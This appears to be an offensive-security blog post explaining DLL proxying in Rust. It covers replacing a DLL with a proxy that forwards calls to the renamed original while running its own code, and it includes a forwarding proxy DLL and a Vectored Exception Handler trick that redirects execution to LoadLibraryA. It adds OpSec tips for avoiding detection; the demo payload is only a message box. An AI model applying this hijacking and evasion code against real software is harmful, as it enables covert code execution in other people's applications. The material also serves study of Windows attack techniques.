DLL-Load Proxying

0xf00sec.github.io/0xDLL

February 5, 2024

In this post we'll focus on the theory of a technique known as DLL Proxying, dive into offensive security tooling developing & techniques leveraging Rust. So What the hell is "DLL Proxying",

> DLL Proxying is a technique in which an attacker replaces a Dynamic Link Library (DLL) with a malicious version, opting to rename the original DLL rather than deleting it. The malicious DLL is designed to exclusively implement the functions targeted for interception or modification by the attacker.

Meanwhile, all other functions are forwarded to the original DLL, earning the name "Proxy" for this approach. This method allows the attacker to essentially act as a middleman, intercepting and modifying only the specific functions of interest, while seamlessly forwarding the remaining functions to the original DLL. By doing so, the attacker minimizes the amount of effort required, ensuring that overall functionality is maintained without disruption. This technique is particularly effective for carrying out specific attacks while avoiding unnecessary complications or detection.

PTheory

I've been getting into Rust lately, looking at how it can be used offensivly. One technique that caught my attention is DLL proxy loading in Rust. But before we get into how to do it, let's talk about how useful this method could be. Let's take a closer look at what's possible.

```
Application (A)
    |
    +-- Loads "some.dll" (B)
          |
          +-- Executes "Data()" (C)
```

Normally, when a DLL is loaded, the system follows a standard process. But with DLL proxy loading, things work differently. In this approach, an attacker creates a fake proxy DLL that looks like the real "foo.dll." The application unknowingly loads this fake DLL, thinking it's the legitimate one. The proxy DLL then intercepts and forwards function calls to the actual "foo_Original.dll." While everything seems to work as expected, the proxy DLL is also running hidden malicious code, taking control of the application without the user or app realizing it.

See,

```
  Application (A)
      |
      +-- Loads malicious "foo.dll" (C) - Attacker's Proxy DLL
            |
            +-- Intercepts and redirects calls to "foo_Original.dll" (B)
            |      |
            |      +-- Executes "Data()" (D) from the original DLL
            |      |
            |      +-- Executes additional malicious code (E)
            |
            +-- Application runs with hijacked execution flow
```

Implementing DLL proxying for a DLL with many exported functions can be a tedious task. Luckily, tools like SharpDllProxy can automate this. This tool generates the proxy DLL code based on the functions in the original DLL. The generated code loads a file into memory and runs it in a new thread. This automation makes DLL proxying much easier, lowering the barrier for attackers.

```
use winapi::um::winuser::MessageBoxA;

#[no_mangle]
pub unsafe extern "C" fn legitfunction() {
    let message = "Hello!\0";
    let title = "foo\0";

    MessageBoxA(
        std::ptr::null_mut(),
        message.as_ptr() as *const i8,
        title.as_ptr() as *const i8,
        0,
    );
}
```

When this DLL runs, it simply displays a message box with “Hello!” as the text and “foo” as the title on the user’s screen. The cargo build output is saved in the sample location. For DLL proxying, we redirect the execution of a function called legitfunction from one DLL to another, specifically o_foo.dll. To do this, we create a new DLL that includes a DllMain function, which acts as the entry point for the DLL.

```
use forward_dll;
use winapi::um::winuser::MessageBoxA;

forward_dll::forward_dll!(
    r#"C:\Users\foo\rs\o_foo.dll"#,
    DLL_VERSION_FORWARDER,
    legitfunction
);

#[no_mangle]
pub unsafe extern "C" fn DllMain(instance: isize, reason: u32, reserved: *const u8) -
> u32 {
    if reason == 1 {
        // Display a message box to indicate the DLL is loaded
        MessageBoxA(
            std::ptr::null_mut(),
            "Malicious DLL loaded!\0".as_ptr() as *const i8,
            "foo\0".as_ptr() as *const i8,
            0,
        );

        // Forward the legitfunction from the other DLL
        let _ = DLL_VERSION_FORWARDER.forward_all();

        // Return success
        return 1;
    }
    1
}
```

When the DLL is loaded, a message box pops up to confirm that it was successfully loaded.

Proxy-DLL

The idea is to load a DLL and run specific operations during an exception, triggered by a guard page violation. VEH extends Windows' Structured Exception Handling and works outside of the call stack. It gets triggered for unhandled exceptions, no matter where they happen. You can learn more about VEH in the documentation

- Load a DLL with a custom exception handler.
- Trigger the VEH by setting a guard page.
- Unload the DLL.

During implementation, we need to set up the steps for dynamically loading a DLL, installing a Vectored Exception Handler (VEH), and creating a custom handler for guard page violations. The VEH will modify the context by changing the RIP register to redirect execution to LoadLibraryA, and the RCX register to pass the module name as an argument. To trigger the exception, we use VirtualProtect to mark the page as `PAGE_GUARD`, causing a `STATUS_GUARD_PAGE_VIOLATION`.

We set up a Vectored Exception Handler (VectoredExceptionHandler) to handle guard page violations and dynamically load foo.dll using LoadLibraryA. This setup lets us control the loading process and run specific operations during the exception.

The VEH is configured to load kernel32.dll when an exception occurs. By using a guard page violation as the trigger, the handler dynamically loads the DLL and runs LoadLibraryA. By modifying registers in the exception context, the code redirects execution to load a specific DLL at runtime, giving control over the process's behavior.

```
unsafe extern "system" fn exception_handler(exc: *mut EXCEPTION_POINTERS) -> i32 {
    let code = (*(*exc).ExceptionRecord).ExceptionCode;
    if code != winapi::shared::ntdef::STATUS_GUARD_PAGE_VIOLATION {
        return EXCEPTION_CONTINUE_SEARCH;
    }

    let kernel32 = GetModuleHandleA(CString::new("kernel32.dll").unwrap().as_ptr());
    let load_lib = GetProcAddress(kernel32,
CString::new("LoadLibraryA").unwrap().as_ptr()) as usize;

    let rip = (*(*exc).ContextRecord).Rip as usize;
    (*(*exc).ContextRecord).Rip = load_lib as u64;
    (*(*exc).ContextRecord).Rcx = MODULE_NAME.as_ptr() as u64;

    EXCEPTION_CONTINUE_EXECUTION
}
```

The first step is to get the module handle for kernel32.dll and find the address of the LoadLibraryA function, which loads DLLs in Windows. Then, the implementation calculates a dynamic address for LoadLibraryA based on the current instruction pointer (Rip). Once this address is determined, it updates Rip to point to the LoadLibraryA call and sets the RCX register to the address of the DLL name (foo.dll).

```
unsafe fn proxied_load_library(module_name: &str) -> *mut winapi::ctypes::c_void {
    let handler = AddVectoredExceptionHandler(1, Some(exception_handler));

    let mut old_protect: u32 = 0;
    VirtualProtect(Sleep as *mut _, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &mut
old_protect);

    let module = GetModuleHandleA(CString::new(module_name).unwrap().as_ptr());

    RemoveVectoredExceptionHandler(handler);

    module as *mut _
}
```

For OpSec, storing LoadLibraryA's address on the stack could create a static pattern that's easy to detect. By calculating the address dynamically and avoiding direct stack storage, the injection method becomes tricky to spot,

Using VirtualProtect to set a page as PAGE_GUARD creates a guard page violation, which triggers the Vectored Exception Handler. This allows for dynamic changes to memory protection, adding some variability and making the technique a little harder to detect. By causing the guard page violation, the Vectored Exception Handler is called, enabling on-the-fly adjustments to memory settings and making the injection process more stealthy.

Source